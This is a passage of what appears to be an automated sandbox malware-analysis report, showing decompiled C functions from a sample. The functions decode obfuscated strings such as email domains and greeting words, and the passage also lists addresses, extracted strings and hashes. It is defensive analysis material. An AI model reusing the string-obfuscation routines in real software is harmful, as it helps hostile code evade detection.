					 *(_t378 + _t300 + 0x41) =  *(_t378 + _t300 + 0x41) ^  *(_t378 + _t300 + 0x59);
					_t300 = _t300 + 2;
				} while (_t300 < 0xe);
				_push(7);
				_push( &_a40);
				_a40 = 0x31;
				_a41 = 0x19;
				_a42 = 0x41;
				_a43 = 0xcf;
				_a44 = 0x52;
				_a45 = 0x3b;
				_a46 = 0xf5;
				_a32 = 0xf1;
				_a33 = 0xa2;
				_a34 = 0xd6;
				_a35 = 0xb7;
				_a36 = 0xc3;
				_a37 = 0xb6;
				_a38 = 0xc5;
				_t302 = E0040D980( &_a32);
				_v12 =  &_a80;
				_v8 =  &_a96;
				_v4 =  &_a88;
				_a12 = _t302;
				_a24 = 0x45;
				_a25 = 0x72;
				_a26 = 0x72;
				_a27 = 0x6f;
				_a28 = 0x72;
				_a29 = 0;
				_a64 = 0x47;
				_a65 = 0x6f;
				_a66 = 0x6f;
				_a67 = 0x64;
				_a68 = 0x20;
				_a69 = 0x64;
				_a70 = 0x61;
				_a71 = 0x79;
				_a72 = 0;
				_v0 = _t374;
				_a4 = _t372;
				_a8 =  &_a40;
				_a16 =  &_a24;
				_a20 =  &_a64;
				_t304 = E0040C1D0( &_a40);
				_push(_t374);
				_t343 = 9;
				_t371 =  *((intOrPtr*)(_t378 + 0xc + _t304 % _t343 * 4));
				_t306 =  *((intOrPtr*)(_t378 + 0xc + _t304 % _t343 * 4));
				_t376 = _t306 + 1;
				do {
					_t344 =  *_t306;
					_t306 = _t306 + 1;
				} while (_t344 != 0);
				return E00424873(E004028A0(_a160, _t371, _t306 - _t376), _a144);
			}

0x00410907
0x00410907
0x00410910
0x00410914
0x00410918
0x0041091c
0x0041091d
0x00410921
0x00410922
0x00410937
0x0041093f
0x0041094f
0x00410953
0x00410957
0x0041095b
0x00410960
0x00410965
0x0041096a
0x0041096f
0x00410974
0x00410979
0x0041097e
0x00410983
0x00410989
0x00410990
0x00410994
0x00410998
0x0041099c
0x0041099d
0x004109a1
0x004109a2
0x004109ae
0x004109b7
0x004109bf
0x004109c3
0x004109cf
0x004109d7
0x004109df
0x004109ef
0x004109f3
0x004109f7
0x004109fb
0x00410a00
0x00410a05
0x00410a0a
0x00410a0f
0x00410a14
0x00410a19
0x00410a1f
0x00410a20
0x00410a24
0x00410a28
0x00410a2c
0x00410a2d
0x00410a31
0x00410a32
0x00410a47
0x00410a4f
0x00410a5f
0x00410a65
0x00410a6d
0x00410a71
0x00410a7a
0x00410a81
0x00410a8a
0x00410a8f
0x00410a93
0x00410a9a
0x00410aa2
0x00410aaa
0x00410ab2
0x00410aba
0x00410ac2
0x00410aca
0x00410ad2
0x00410ada
0x00410ae2
0x00410aea
0x00410af2
0x00410afa
0x00410b02
0x00410b0a
0x00410b12
0x00410b1a
0x00410b22
0x00410b2a
0x00410b32
0x00410b3a
0x00410b3f
0x00410b44
0x00410b49
0x00410b4e
0x00410b53
0x00410b58
0x00410b5d
0x00410b62
0x00410b67
0x00410b6c
0x00410b71
0x00410b75
0x00410b7a
0x00410b7f
0x00410b84
0x00410b89
0x00410b8d
0x00410b92
0x00410b97
0x00410ba1
0x00410ba2
0x00410ba7
0x00410baf
0x00410bb7
0x00410bbf
0x00410bc6
0x00410bce
0x00410bd6
0x00410bde
0x00410be6
0x00410bed
0x00410bf7
0x00410c00
0x00410c02
0x00410c09
0x00410c10
0x00410c19
0x00410c21
0x00410c29
0x00410c31
0x00410c39
0x00410c41
0x00410c49
0x00410c51
0x00410c59
0x00410c61
0x00410c69
0x00410c71
0x00410c79
0x00410c7e
0x00410c82
0x00410c87
0x00410c8c
0x00410c91
0x00410c96
0x00410c9b
0x00410ca0
0x00410ca4
0x00410ca9
0x00410cae
0x00410cb3
0x00410cb8
0x00410cbd
0x00410cc2
0x00410cc6
0x00410ccb
0x00410cd0
0x00410cd5
0x00410cda
0x00410cdf
0x00410ce4
0x00410ced
0x00410cee
0x00410cf5
0x00410cf6
0x00410cfa
0x00410cfe
0x00410d03
0x00410d08
0x00410d0d
0x00410d12
0x00410d17
0x00410d1c
0x00410d21
0x00410d26
0x00410d2b
0x00410d30
0x00410d35
0x00410d3a
0x00410d3f
0x00410d43
0x00410d48
0x00410d4c
0x00410d51
0x00410d56
0x00410d5b
0x00410d60
0x00410d65
0x00410d6a
0x00410d6f
0x00410d74
0x00410d79
0x00410d7e
0x00410d80
0x00410d84
0x00410d88
0x00410d8c
0x00410d8d
0x00410d91
0x00410d92
0x00410d96
0x00410d98
0x00410da0
0x00410dae
0x00410db8
0x00410dbc
0x00410dbf
0x00410dc4
0x00410dca
0x00410dcf
0x00410dd4
0x00410dd9
0x00410dde
0x00410de3
0x00410de8
0x00410ded
0x00410df2
0x00410df7
0x00410dfc
0x00410e01
0x00410e06
0x00410e0b
0x00410e10
0x00410e15
0x00410e1e
0x00410e2a
0x00410e2e
0x00410e32
0x00410e42
0x00410e47
0x00410e4c
0x00410e51
0x00410e56
0x00410e5b
0x00410e60
0x00410e65
0x00410e6a
0x00410e6f
0x00410e74
0x00410e79
0x00410e7e
0x00410e83
0x00410e88
0x00410e8d
0x00410e91
0x00410e95
0x00410e99
0x00410e9d
0x00410ea1
0x00410ea8
0x00410eac
0x00410eaf
0x00410eb3
0x00410eb5
0x00410eb8
0x00410eb8
0x00410eba
0x00410ebb
0x00410ee4

Strings

r, xrefs: 00410E56
d, xrefs: 00410E79
l, xrefs: 00410B49
d, xrefs: 00410E6F
o, xrefs: 00410E6A
m, xrefs: 00410B62
6, xrefs: 00410BED
Ax`B, xrefs: 00410C02, 00410C14
, xrefs: 00410C59
E, xrefs: 00410E42
`, xrefs: 00410AF2
c, xrefs: 00410D03
1, xrefs: 00410DCF
X, xrefs: 00410AEA
6, xrefs: 00410AC2
O, xrefs: 00410960
d, xrefs: 00410B3F
, xrefs: 00410E74
a, xrefs: 00410E7E
%, xrefs: 00410ABA
G, xrefs: 00410E60
s, xrefs: 00410C51
, xrefs: 00410B53
o, xrefs: 00410B7F
y, xrefs: 00410E83
c, xrefs: 00410BB7
B, xrefs: 00410ADA
y, xrefs: 00410D3A
[, xrefs: 00410AA2
L, xrefs: 00410B0A
*, xrefs: 00410D21
m, xrefs: 00410974
r, xrefs: 00410B67
o, xrefs: 00410E51
{O, xrefs: 004109AE
x, xrefs: 00410D79
K, xrefs: 00410B1A
A, xrefs: 00410DD9
r, xrefs: 00410E47
;, xrefs: 00410DE8
<, xrefs: 00410B7A
o, xrefs: 00410C49
p, xrefs: 00410979
R, xrefs: 00410DE3
d, xrefs: 00410B58
r, xrefs: 00410E4C
S, xrefs: 00410D60
&, xrefs: 00410D6F
o, xrefs: 00410E65
x, xrefs: 00410BA7
N, xrefs: 00410AAA
<, xrefs: 00410D26
l, xrefs: 00410C31
0, xrefs: 00410C21

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
API String ID: 0-2712818868
Opcode ID: 347f5c2bb2be8bc1fe97d0921e15d905dde3b32c34b4ba6e6ddd87afd3dfbd70
Instruction ID: 2f627103c2d3e003b21df0cce729dd2f096770834efbed448fb7e3f313e0d86e
Opcode Fuzzy Hash: 347f5c2bb2be8bc1fe97d0921e15d905dde3b32c34b4ba6e6ddd87afd3dfbd70
Instruction Fuzzy Hash: BB12C12010D7C18DD362867C549878FFFD11BE7228F586A9DF1E84A3E3C2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040FF30, Relevance: 66.7, Strings: 53, Instructions: 424
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E0040FF30(intOrPtr _a4) {
				intOrPtr _v4;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				signed char _v19;
				signed char _v20;
				signed char _v21;
				signed char _v22;
				signed char _v23;
				signed char _v24;
				signed char _v25;
				signed char _v26;
				signed char _v27;
				signed char _v28;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				signed int _v131;
				signed int _v132;
				signed int _v133;
				signed int _v134;
				signed int _v135;
				char _v136;
				signed int _v137;
				signed int _v138;
				signed int _v139;
				signed int _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				signed int* _v156;
				char* _v160;
				char* _v164;
				char* _v168;
				char* _v172;
				char* _v176;
				char* _v180;
				char* _v184;
				char* _v188;
				char* _v192;
				signed char* _v196;
				char _v197;
				intOrPtr _t404;
				void* _t405;
				void* _t415;
				void* _t416;
				void* _t418;
				void* _t419;
				void* _t421;
				void* _t422;
				void* _t425;
				void* _t426;
				signed int _t432;
				intOrPtr* _t434;
				void* _t474;
				void* _t482;
				void* _t496;
				void* _t502;
				signed int _t511;
				intOrPtr _t512;
				char _t515;
				void* _t532;
				void* _t534;

				_t404 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t404;
				_v140 = 0xe5;
				_v139 = 0x24;
				_v138 = 0x11;
				_v137 = 0x44;
				_v136 = 0xb1;
				_v135 = 0x86;
				_v134 = 0xef;
				_v133 = 0x27;
				_v132 = 0x4e;
				_v131 = 0xa3;
				_t405 = 0;
				asm("pushad");
				asm("popad");
				_t474 = 9;
				do {
					_t515 =  *((intOrPtr*)(_t534 + _t405 + 0x44));
					 *((char*)(_t534 + _t405 + 0x44)) =  *((intOrPtr*)(_t534 + _t474 + 0x44));
					_t405 = _t405 + 1;
					 *((char*)(_t534 + _t474 + 0x44)) = _t515;
					_t474 = _t474 - 1;
				} while (_t405 < _t474);
				_v28 = _v140 ^ 0x000000c4;
				_v27 = _v139 ^ 0x00000023;
				_t26 =  &_v136; // 0x4e
				_v25 = _v137 ^ 0x00000086;
				_v26 = _v138 ^ 0x00000046;
				_v24 =  *_t26 ^ 0x000000ea;
				_v22 = _v134 ^ 0x00000027;
				_v23 = _v135 ^ 0x0000009f;
				_v21 = _v133 ^ 0x0000007e;
				_v19 = _v131 ^ 0x000000e5;
				_v20 = _v132 ^ 0x00000049;
				_v96 = 0xed;
				_v91 = 0x50;
				_v85 = 0xed;
				_v152 = 0xed;
				_v150 = 0x50;
				_v40 = 0x69;
				_v39 = 0x6e;
				_v38 = 0x62;
				_v37 = 0x6f;
				_v36 = 0x78;
				_v35 = 0x2e;
				_v34 = 0x63;
				_v33 = 0x6f;
				_v32 = 0x6d;
				_v31 = 0;
				_v95 = 0xc2;
				_v94 = 0xaf;
				_v93 = 0xbd;
				_v92 = 0x23;
				_v90 = 0x40;
				_v89 = 0x18;
				_v88 = 0xba;
				_v87 = 0x36;
				_v86 = 0xb0;
				_v151 = 0xdd;
				_v149 = 0x94;
				_v148 = 0x74;
				_v147 = 0x29;
				_v146 = 0x31;
				_v145 = 0x4e;
				_v144 = 0xc9;
				_v143 = 0xdc;
				_v142 = 0xa3;
				_v141 = 0x8b;
				_t415 = 0;
				_push(_t530);
				_t482 = 0xb;
				do {
					_v197 =  *((intOrPtr*)(_t534 + _t415 + 0x38));
					 *((char*)(_t534 + _t415 + 0x38)) =  *((intOrPtr*)(_t534 + _t482 + 0x38));
					_t415 = _t415 + 1;
					 *((char*)(_t534 + _t482 + 0x38)) = _v197;
					_t482 = _t482 - 1;
				} while (_t415 < _t482);
				_t416 = 0;
				do {
					 *(_t534 + _t416 + 0x70) =  *(_t534 + _t416 + 0x70) ^  *(_t534 + _t416 + 0x38);
					 *(_t534 + _t416 + 0x71) =  *(_t534 + _t416 + 0x71) ^  *(_t534 + _t416 + 0x39);
					 *(_t534 + _t416 + 0x72) =  *(_t534 + _t416 + 0x72) ^  *(_t534 + _t416 + 0x3a);
					 *(_t534 + _t416 + 0x73) =  *(_t534 + _t416 + 0x73) ^  *(_t534 + _t416 + 0x3b);
					 *(_t534 + _t416 + 0x74) =  *(_t534 + _t416 + 0x74) ^  *(_t534 + _t416 + 0x3c);
					 *(_t534 + _t416 + 0x75) =  *(_t534 + _t416 + 0x75) ^  *(_t534 + _t416 + 0x3d);
					_t416 = _t416 + 6;
				} while (_t416 < 0xc);
				_v64 = 0x80;
				_v60 = 0x80;
				_v68 = 0xc3;
				_v61 = 0xc3;
				_v57 = 0xc3;
				_v52 = 0x79;
				_v51 = 0x61;
				_v50 = 0x68;
				_v49 = 0x6f;
				_v48 = 0x6f;
				_v47 = 0x2e;
				_v46 = 0x63;
				_v45 = 0x6f;
				_v44 = 0x6d;
				_v43 = 0;
				_v67 = 0xcf;
				_v66 = 0xc7;
				_v65 = 0xc2;
				_v63 = 0xcf;
				_v62 = 0xc7;
				_v59 = 0xcd;
				_v58 = 0xc1;
				_v56 = 0xae;
				_t418 = 0;
				do {
					 *(_t534 + _t418 + 0x8c) =  *(_t534 + _t418 + 0x8c) ^ 0x000000ae;
					_t418 = _t418 + 1;
				} while (_t418 < 0xd);
				_v16 = 0x67;
				_v15 = 0x6f;
				_v14 = 0x6f;
				_v13 = 0x77;
				_v12 = 0x79;
				_v11 = 0x2e;
				_v10 = 0x63;
				_v9 = 0x6f;
				_v8 = 0x6d;
				_v7 = 0;
				_v152 = 0xd7;
				_v151 = 0x7c;
				_v150 = 0x15;
				_v149 = 7;
				_v148 = 0x50;
				_v147 = 0x5a;
				_v146 = 0x92;
				_v145 = 0x29;
				_v144 = 0x30;
				_v143 = 0x5d;
				_v142 = 0xd9;
				_v141 = 0x31;
				_v108 = 0x91;
				_v107 = 0xf3;
				_v106 = 0x5f;
				_v105 = 0x66;
				_v104 = 0x11;
				_v103 = 0xf;
				_v102 = 0xda;
				_v101 = 5;
				_v100 = 0x33;
				_v99 = 0x12;
				_v98 = 0x94;
				_v97 = 0xcf;
				_t419 = 0;
				do {
					 *((intOrPtr*)(_t534 + _t419 + 0x38)) =  *((intOrPtr*)(_t534 + _t419 + 0x38)) +  *((intOrPtr*)(_t534 + _t419 + 0x64));
					 *((intOrPtr*)(_t534 + _t419 + 0x39)) =  *((intOrPtr*)(_t534 + _t419 + 0x39)) +  *((intOrPtr*)(_t534 + _t419 + 0x65));
					 *((intOrPtr*)(_t534 + _t419 + 0x3a)) =  *((intOrPtr*)(_t534 + _t419 + 0x3a)) +  *((intOrPtr*)(_t534 + _t419 + 0x66));
					 *((intOrPtr*)(_t534 + _t419 + 0x3b)) =  *((intOrPtr*)(_t534 + _t419 + 0x3b)) +  *((intOrPtr*)(_t534 + _t419 + 0x67));
					 *((intOrPtr*)(_t534 + _t419 + 0x3c)) =  *((intOrPtr*)(_t534 + _t419 + 0x3c)) +  *((intOrPtr*)(_t534 + _t419 + 0x68));
					 *((intOrPtr*)(_t534 + _t419 + 0x3d)) =  *((intOrPtr*)(_t534 + _t419 + 0x3d)) +  *((intOrPtr*)(_t534 + _t419 + 0x69));
					_t419 = _t419 + 6;
				} while (_t419 < 0xc);
				_v69 = 0x35;
				_v124 = 0x35;
				_v84 = 0x5e;
				_v83 = 0x81;
				_v82 = 0xc0;
				_v81 = 0x9f;
				_v80 = 0xa9;
				_v79 = 0xe7;
				_v78 = 0x61;
				_v77 = 0xc1;
				_v76 = 0xb6;
				_v75 = 0x59;
				_v74 = 0x6f;
				_v73 = 0xdb;
				_v72 = 0x48;
				_v71 = 0xa;
				_v70 = 0x1f;
				_v123 = 0x72;
				_v122 = 0x65;
				_v121 = 0x2b;
				_v120 = 0xf5;
				_v119 = 0x16;
				_v118 = 0x38;
				_v117 = 0xc1;
				_v116 = 0xb8;
				_v115 = 0xc;
				_v114 = 0xc9;
				_v113 = 0xc5;
				_v112 = 0xf6;
				_v111 = 0xa1;
				_v110 = 0xec;
				_v109 = 0x3b;
				_t421 = 0;
				_t496 = 0xf;
				do {
					_v197 =  *((intOrPtr*)(_t534 + _t421 + 0x54));
					 *((char*)(_t534 + _t421 + 0x54)) =  *((intOrPtr*)(_t534 + _t496 + 0x54));
					_t421 = _t421 + 1;
					 *((char*)(_t534 + _t496 + 0x54)) = _v197;
					_t496 = _t496 - 1;
				} while (_t421 < _t496);
				_t422 = 0;
				do {
					 *(_t534 + _t422 + 0x7c) =  *(_t534 + _t422 + 0x7c) ^  *(_t534 + _t422 + 0x54);
					 *(_t534 + _t422 + 0x7d) =  *(_t534 + _t422 + 0x7d) ^  *(_t534 + _t422 + 0x55);
					_t276 = _t422 + 0x57; // 0x2b
					 *(_t534 + _t422 + 0x7e) =  *(_t534 + _t422 + 0x7e) ^  *(_t534 + _t422 + 0x56);
					 *(_t534 + _t422 + 0x7f) =  *(_t534 + _t422 + 0x7f) ^  *(_t534 + _t276);
					_t422 = _t422 + 4;
				} while (_t422 < 0x10);
				_v108 = 0x63;
				_v102 = 0x63;
				_v112 = 0x6e;
				_v110 = 0x9c;
				_v140 = 0x9c;
				_v133 = 0x6e;
				_v107 = 0x61;
				_v106 = 0x72;
				_v105 = 0x65;
				_v104 = 0x32;
				_v103 = 0x2e;
				_v101 = 0x6f;
				_v100 = 0x6d;
				_v99 = 0;
				_v124 = 0x14;
				_v123 = 0xd8;
				_v122 = 0x9f;
				_v121 = 0xf1;
				_v120 = 0x1a;
				_v119 = 0xb7;
				_v118 = 0x89;
				_v117 = 0xd;
				_v116 = 0x66;
				_v115 = 0x92;
				_v114 = 0x77;
				_v113 = 0x96;
				_v111 = 0x8f;
				_v139 = 0xe2;
				_v138 = 1;
				_v137 = 0xf5;
				_v136 = 0x59;
				_v135 = 0xe1;
				_v134 = 9;
				_v132 = 0xf0;
				_v131 = 0xdb;
				_v130 = 0x34;
				_v129 = 0x9d;
				_v128 = 0xf6;
				_v127 = 0xb9;
				_v126 = 0x79;
				_t425 = 0;
				_t502 = 0xe;
				do {
					_v197 =  *((intOrPtr*)(_t534 + _t425 + 0x44));
					 *((char*)(_t534 + _t425 + 0x44)) =  *((intOrPtr*)(_t534 + _t502 + 0x44));
					_t425 = _t425 + 1;
					 *((char*)(_t534 + _t502 + 0x44)) = _v197;
					_t502 = _t502 - 1;
				} while (_t425 < _t502);
				_t426 = 0;
				 *0x431c89 = 0x19;
				do {
					 *(_t534 + _t426 + 0x54) =  *(_t534 + _t426 + 0x54) ^  *(_t534 + _t426 + 0x44);
					 *(_t534 + _t426 + 0x55) =  *(_t534 + _t426 + 0x55) ^  *(_t534 + _t426 + 0x45);
					 *(_t534 + _t426 + 0x56) =  *(_t534 + _t426 + 0x56) ^  *(_t534 + _t426 + 0x46);
					 *(_t534 + _t426 + 0x57) =  *(_t534 + _t426 + 0x57) ^  *(_t534 + _t426 + 0x47);
					 *(_t534 + _t426 + 0x58) =  *(_t534 + _t426 + 0x58) ^  *(_t534 + _t426 + 0x48);
					_t426 = _t426 + 5;
				} while (_t426 < 0xf);
				_v140 = 0x6d;
				_v134 = 0x6f;
				_v133 = 0x6d;
				_v196 =  &_v28;
				_v192 =  &_v40;
				_v188 =  &_v96;
				_v184 =  &_v52;
				_v180 =  &_v68;
				_v176 =  &_v16;
				_v172 =  &_v152;
				_v168 =  &_v84;
				_v139 = 0x61;
				_v138 = 0x69;
				_v137 = 0x6c;
				_v136 = 0x2e;
				_v135 = 0x63;
				_v132 = 0;
				_v164 =  &_v108;
				_v160 =  &_v124;
				_v156 =  &_v140;
				_t432 = E0040C1D0( &_v124);
				_t511 = 0xb;
				_t529 =  *((intOrPtr*)(_t534 + 0xc + _t432 % _t511 * 4));
				_t434 =  *((intOrPtr*)(_t534 + 0xc + _t432 % _t511 * 4));
				_t532 = _t434 + 1;
				do {
					_t512 =  *_t434;
					_t434 = _t434 + 1;
				} while (_t512 != 0);
				return E00424873(E004028A0(_a4, _t529, _t434 - _t532), _v12);
			}

0x0040ff36
0x0040ff3c
0x0040ff43
0x0040ff48
0x0040ff4d
0x0040ff52
0x0040ff57
0x0040ff5c
0x0040ff61
0x0040ff66
0x0040ff6b
0x0040ff70
0x0040ff75
0x0040ff77
0x0040ff78
0x0040ff7b
0x0040ff80
0x0040ff84
0x0040ff88
0x0040ff8c
0x0040ff8d
0x0040ff91
0x0040ff92
0x0040ffa4
0x0040ffb7
0x0040ffbe
0x0040ffc2
0x0040ffcd
0x0040ffe0
0x0040ffeb
0x0040fff6
0x00410009
0x00410010
0x0041001b
0x00410024
0x00410028
0x0041002c
0x00410030
0x00410034
0x00410038
0x00410040
0x00410048
0x00410050
0x00410057
0x0041005f
0x00410067
0x0041006f
0x00410076
0x0041007e
0x00410086
0x0041008b
0x00410090
0x00410095
0x0041009a
0x0041009f
0x004100a4
0x004100a9
0x004100ae
0x004100b3
0x004100b8
0x004100bd
0x004100c2
0x004100c7
0x004100cc
0x004100d1
0x004100d6
0x004100db
0x004100e0
0x004100e5
0x004100e7
0x004100eb
0x004100f0
0x004100f4
0x004100fc
0x00410104
0x00410105
0x00410109
0x0041010a
0x0041010e
0x00410110
0x0041011e
0x0041012c
0x0041013a
0x00410148
0x00410156
0x0041015a
0x0041015e
0x00410161
0x0041016c
0x00410173
0x0041017c
0x00410183
0x0041018a
0x00410191
0x00410199
0x004101a1
0x004101a9
0x004101b0
0x004101b7
0x004101bf
0x004101c7
0x004101ce
0x004101d6
0x004101de
0x004101e5
0x004101ed
0x004101f5
0x004101fc
0x00410204
0x0041020c
0x00410213
0x0041021b
0x00410220
0x00410220
0x00410228
0x00410229
0x0041022e
0x00410236
0x0041023d
0x00410244
0x0041024c
0x00410254
0x0041025c
0x00410264
0x0041026b
0x00410273
0x0041027b
0x00410280
0x00410285
0x0041028a
0x0041028f
0x00410294
0x00410299
0x0041029e
0x004102a3
0x004102a8
0x004102ad
0x004102b2
0x004102b7
0x004102bc
0x004102c1
0x004102c6
0x004102cb
0x004102d0
0x004102d5
0x004102da
0x004102df
0x004102e4
0x004102e9
0x004102ee
0x004102f2
0x004102f4
0x004102f8
0x00410300
0x00410308
0x00410310
0x00410318
0x00410320
0x00410324
0x00410327
0x0041032e
0x00410335
0x00410339
0x0041033e
0x00410343
0x00410348
0x0041034d
0x00410355
0x0041035d
0x00410365
0x0041036c
0x00410374
0x0041037c
0x00410383
0x0041038b
0x00410393
0x0041039b
0x004103a3
0x004103a8
0x004103ad
0x004103b2
0x004103b7
0x004103bc
0x004103c1
0x004103c5
0x004103ca
0x004103cf
0x004103d4
0x004103d9
0x004103de
0x004103e3
0x004103e8
0x004103ed
0x004103f1
0x004103f4
0x004103f8
0x00410400
0x00410408
0x00410409
0x0041040d
0x0041040e
0x00410412
0x00410414
0x00410422
0x00410430
0x0041043a
0x0041043e
0x00410442
0x00410446
0x00410449
0x00410450
0x00410454
0x0041045c
0x00410460
0x00410464
0x00410468
0x0041046c
0x00410471
0x00410476
0x0041047b
0x00410480
0x00410485
0x00410489
0x0041048e
0x00410493
0x00410498
0x0041049d
0x004104a2
0x004104a7
0x004104ac
0x004104b1
0x004104b6
0x004104bb
0x004104c0
0x004104c5
0x004104ca
0x004104cf
0x004104d4
0x004104d9
0x004104de
0x004104e3
0x004104e8
0x004104ed
0x004104f2
0x004104f7
0x004104fc
0x00410501
0x00410506
0x0041050b
0x00410510
0x00410515
0x00410517
0x00410520
0x00410524
0x0041052c
0x00410534
0x00410535
0x00410539
0x0041053a
0x0041053e
0x00410540
0x00410550
0x0041055e
0x0041056c
0x0041057a
0x00410588
0x0041058c
0x00410590
0x00410593
0x0041059a
0x0041059e
0x004105a2
0x004105ad
0x004105b8
0x004105ce
0x004105d2
0x004105d6
0x004105e9
0x004105ed
0x004105f1
0x00410601
0x00410606
0x0041060b
0x00410610
0x00410615
0x0041061a
0x0041061f
0x00410623
0x00410627
0x0041062b
0x00410634
0x00410639
0x0041063d
0x0041063f
0x00410642
0x00410642
0x00410644
0x00410645
0x0041066d

Strings

a, xrefs: 0041046C
a, xrefs: 00410601
c, xrefs: 0041025C
., xrefs: 00410254
c, xrefs: 004101BF
Z, xrefs: 00410294
l, xrefs: 0041060B
4, xrefs: 004104FC
e, xrefs: 004103A8
8, xrefs: 004103BC
r, xrefs: 004103A3
r, xrefs: 00410471
+er, xrefs: 0041043A
H, xrefs: 0041038B
m, xrefs: 004101CE
c, xrefs: 00410067
., xrefs: 0041005F
n, xrefs: 00410040
y, xrefs: 0041024C
x, xrefs: 00410057
i, xrefs: 00410606
m, xrefs: 00410489
y, xrefs: 00410191
w, xrefs: 004104C5
m, xrefs: 00410076
@, xrefs: 0041009A
h, xrefs: 004101A1
b, xrefs: 00410048
N', xrefs: 0040FFBE
m, xrefs: 0041026B
f, xrefs: 004104BB
0, xrefs: 004102A3
Y, xrefs: 00410374
|, xrefs: 00410280
;, xrefs: 004103E8
w, xrefs: 00410244
#, xrefs: 00410095
1, xrefs: 004100C7
e, xrefs: 00410476
6, xrefs: 004100A9
a, xrefs: 00410199
y, xrefs: 00410510
), xrefs: 0041029E
1, xrefs: 004102B2
P, xrefs: 0041028F
., xrefs: 004101B7
i, xrefs: 00410038
^, xrefs: 00410339
], xrefs: 004102A8
g, xrefs: 0041022E
., xrefs: 00410480
a, xrefs: 0041035D
2, xrefs: 0041047B

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: #$)$+er$.$.$.$.$0$1$1$2$4$6$8$;$@$H$N'$P$Y$Z$]$^$a$a$a$a$b$c$c$c$e$e$f$g$h$i$i$l$m$m$m$m$n$r$r$w$w$x$y$y$y$|
API String ID: 0-4186895133
Opcode ID: bbe11414b16b8bfee9a1a88e5eefbb7da649568a33f7567c0c9cd01ca2d7ce58
Instruction ID: 2e6ca9faf61e3d4fcb1ca234d6343375e0ed65afd0b7b81a02dad98069017a7d
Opcode Fuzzy Hash: bbe11414b16b8bfee9a1a88e5eefbb7da649568a33f7567c0c9cd01ca2d7ce58
Instruction Fuzzy Hash: E432E12110E7C18DD322973C945879FFFE11BA7218F685E9DE1E88B393C2A68149C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040E676, Relevance: 61.6, Strings: 49, Instructions: 328
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E0040E676(void* __eax, char __ebx, void* __esi, char _a8, char _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, char* _a40, intOrPtr _a44, char* _a48, char* _a52, char* _a56, char* _a60, char* _a64, char* _a68, char* _a72, intOrPtr _a76, intOrPtr _a80, char* _a84, intOrPtr _a88, char* _a92, char* _a96, char* _a100, intOrPtr _a104, char* _a108, char* _a112, intOrPtr _a116, char* _a120, char* _a124, intOrPtr _a128, char* _a132, char* _a136, char* _a140, intOrPtr _a144, signed char* _a148, char* _a152, intOrPtr _a156, char* _a160, intOrPtr _a164, char* _a168, intOrPtr _a172, char* _a176, signed char* _a180, signed int* _a184, signed char* _a188, signed int* _a192, intOrPtr _a196, signed char _a200, signed char _a201, signed char _a202, signed char _a203, signed char _a204, signed int _a205, signed int _a208, signed int _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a216, signed int _a217, signed int _a218, signed int _a219, signed int _a220, 